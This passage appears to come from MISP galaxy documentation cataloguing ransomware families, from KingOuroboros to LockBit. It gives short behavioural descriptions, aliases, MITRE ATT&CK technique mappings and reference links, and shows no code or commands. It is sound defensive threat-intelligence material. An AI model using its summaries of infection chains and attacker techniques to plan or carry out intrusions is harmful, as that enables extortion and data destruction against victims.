https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.splunk.com/en_us/blog/security/clop-ransomware-detection-threat-research-release-april-2021.html
https://www.splunk.com/en_us/blog/security/detecting-clop-ransomware.html
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-clop
https://www.vice.com/en/article/wx5eyx/meet-the-ransomware-gang-behind-one-of-the-biggest-supply-chain-hacks-ever
https://www.youtube.com/watch?v=PqGaZgepNTE
https://www.zdnet.com/article/croatias-largest-petrol-station-chain-impacted-by-cyber-attack/
https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.ransomlook.io/group/clop

PornBlackmailer

A new infection is being distributed by porn sites that tries to blackmail a victim into paying a ransom by stating they will tell law enforcement that the victim is spreading child porn. This is done by collecting information about the user, including screen shots of their active desktop, in order to catch them in compromising situations.

The tag is: *misp-galaxy:ransomware="PornBlackmailer"*

Table 13586. Table References

Links
https://www.bleepingcomputer.com/news/security/blackmailware-found-on-porn-site-threatens-to-report-users-are-spreading-child-porn/

KingOuroboros

This crypto-extortioner encrypts user data using AES, and then requires a $ 30- $ 50- $ 80 buy- back to BTC to return the files. The name is original. Written on AutoIt.

The tag is: *misp-galaxy:ransomware="KingOuroboros"*

Table 13587. Table References

Links
https://id-ransomware.blogspot.com/2018/06/kingouroboros-ransomware.html

MAFIA Ransomware

The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

The tag is: *misp-galaxy:ransomware="MAFIA Ransomware"*

MAFIA Ransomware is also known as:

- Mafia

Table 13588. Table References

Links
https://bartblaze.blogspot.com/2018/08/mafia-ransomware-targeting-users-in.html

5ss5c Ransomware

The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. [...] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, ldf, mdb, mdf, myd, myi, ora, pdf, pem, pfx, ppt, pptx, psd, rar, rtf, sql, tar, txt, vdi, vmdk, vmx, xls, xlsx, zip

The tag is: *misp-galaxy:ransomware="5ss5c Ransomware"*

Table 13589. Table References

Links
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html

Nodera Ransomware

Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: *misp-galaxy:ransomware="Nodera Ransomware"*

Nodera Ransomware is also known as:

- Nodera

Table 13590. Table References

Links
https://exchange.xforce.ibmcloud.com/collection/6f18908ce6d9cf4efb551911e00d9ec4
https://blogs.quickheal.com/first-node-js-based-ransomware-nodera/

MegaCortex

Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga

The tag is: *misp-galaxy:ransomware="MegaCortex"*

View relationships graph

MegaCortex has relationships with:

- similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"

Table 13591. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.ransomlook.io/group/megacortex

RobinHood

Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data

The tag is: *misp-galaxy:ransomware="RobinHood"*

RobinHood is also known as:

- HelpYemen

Table 13592. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/
https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://goggleheadedhacker.com/blog/post/12
https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/
https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://twitter.com/VK_Intel/status/1121440931759128576
https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/
https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/
https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://www.ransomlook.io/group/robinhood

Bart ransomware

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn't communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the 'photo' attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it's any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: *misp-galaxy:ransomware="Bart ransomware"*

Bart ransomware is also known as:

- Locky Bart

Table 13593. Table References

Links
https://www.knowbe4.com/bart-ransomware

Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim's desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named " RECOVERY.txt", this file contains instructions on how to contact Razor's developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor's developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet's address that should be used to make a transaction. However, it is never a good idea to trust (pay)

any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.

The tag is: *misp-galaxy:ransomware="Razor"*

Table 13594. Table References

Links
https://www.pcrisk.com/removal-guides/17016-razor-ransomware

Wadhrama

The tag is: *misp-galaxy:ransomware="Wadhrama"*

View relationships graph

Wadhrama has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="likely"

Table 13595. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=ransom:win32/wadhrama.c&ThreatID=2147730655

Mespinoza

Mespinoza ransomware is used at least since october 2018. First versions used the common extension ".locked". SInce december 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: *misp-galaxy:ransomware="Mespinoza"*

Mespinoza is also known as:

- Pyza
- Pysa

Table 13596. Table References

Links
https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-002.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf
https://www.ic3.gov/Media/News/2021/210316.pdf
https://blog.malwarebytes.com/threat-spotlight/2021/03/pysa-the-ransomware-attacking-schools
http://www.secureworks.com/research/threat-profiles/gold-burlap
https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/
https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat
https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://twitter.com/campuscodi/status/1347223969984897026
https://twitter.com/inversecos/status/1456486725664993287
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/
https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/

https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf
https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/
https://www.ransomlook.io/group/pysa
https://www.ransomlook.io/group/mespinoza

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake web site pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: *misp-galaxy:ransomware="CoronaVirus"*

Table 13597. Table References

Links
https://www.bleepingcomputer.com/news/security/new-coronavirus-ransomware-acts-as-cover-for-kpot-infostealer/

Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: *misp-galaxy:ransomware="Snake Ransomware"*

Table 13598. Table References

Links
https://www.cybersecurity-insiders.com/meet-the-snake-ransomware-which-encrypts-all-connected-devices/
https://www.tripwire.com/state-of-security/security-data-protection/massive-spike-in-snake-ransomware-activity-attributed-to-new-campaign/
https://www.bleepingcomputer.com/news/security/large-scale-snake-ransomware-campaign-targets-healthcare-more/

eCh0raix

Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below. eCh0raix was first seen in June 2019, after victims began reporting ransomware attacks in a forum topic on BleepingComputer. On June 1st, 2020, there has been a sudden surge of eCh0raix victims seeking help in our forums and submissions to the ransomware identification site ID-Ransomware.

The tag is: *misp-galaxy:ransomware="eCh0raix"*

Table 13599. Table References

Links
https://www.bleepingcomputer.com/news/security/ongoing-ech0raix-ransomware-campaign-targets-qnap-nas-devices/
https://www.anomali.com/blog/the-ech0raix-ransomware
https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/
https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/
https://www.ibm.com/downloads/cas/Z81AVOY7
https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/
https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/

https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://www.qnap.com/en/security-advisory/QSA-20-02
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.ransomlook.io/group/ech0raix

Egregor

The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen data, they will distribute via mass media where the company's partners and clients will know that the company was attacked.

The tag is: *misp-galaxy:ransomware="Egregor"*

View relationships graph

Egregor has relationships with:

- variant-of: misp-galaxy:ransomware="Sekhmet" with estimative-language:likelihood-probability="likely"

Table 13600. Table References

Links
https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor
https://www.bleepingcomputer.com/news/security/crytek-hit-by-egregor-ransomware-ubisoft-data-leaked/
https://cybersecuritynews.com/egregor-ransomware/
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
https://www.ransomlook.io/group/egregor
https://www.bleepingcomputer.com/news/security/egregor-ransomware-linked-to-maze-arrests-made-in-ukraine/
https://www.trendmicro.com/en_us/research/20/k/egregor-ransomware-emerges-as-maze-shuts-down-operations.html
https://www.zdnet.com/article/egregor-ransomware-gang-arrested-in-ukraine/

SunCrypt

SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware's cartel. It also follows some of Maze's tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros),

torrent websites, malicious ads act as carriers for this ransomware.

The tag is: *misp-galaxy:ransomware="SunCrypt"*

SunCrypt is also known as:

- Sun
- Suncrypt

Table 13601. Table References

Links
https://www.acronis.com/en-us/blog/posts/suncrypt-adopts-attacking-techniques-netwalker-and-maze-ransomware
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/
https://securityboulevard.com/2020/09/the-curious-case-of-suncrypt/
https://www.tetradefense.com/incident-response-services/cause-and-effect-suncrypt-ransomware-analysis
https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022
https://cdn.pathfactory.com/assets/10555/contents/394789/0dd521f8-aa64-4517-834e-bc852e9ab95d.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc
https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a
https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://www.ransomlook.io/group/suncrypt

LockBit

LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force. After gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.

The tag is: *misp-galaxy:ransomware="LockBit"*

LockBit is also known as:

- ABCD ransomware

View relationships graph

LockBit has relationships with:

- similar: misp-galaxy:ransomware="Lockbit3" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="very-likely"

Table 13602. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/
https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware
https://blog.compass-security.com/2022/03/vpn-appliance-forensics/
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf
https://security.packt.com/understanding-lockbit/
https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/
https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/
https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/

https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/

https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants

https://www.ic3.gov/Media/News/2022/220204.pdf

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html

https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html

https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://asec.ahnlab.com/en/35822/

https://asec.ahnlab.com/ko/39682/

https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/

https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/

https://blog.lexfo.fr/lockbit-malware.html

https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness

https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/

https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/

https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/

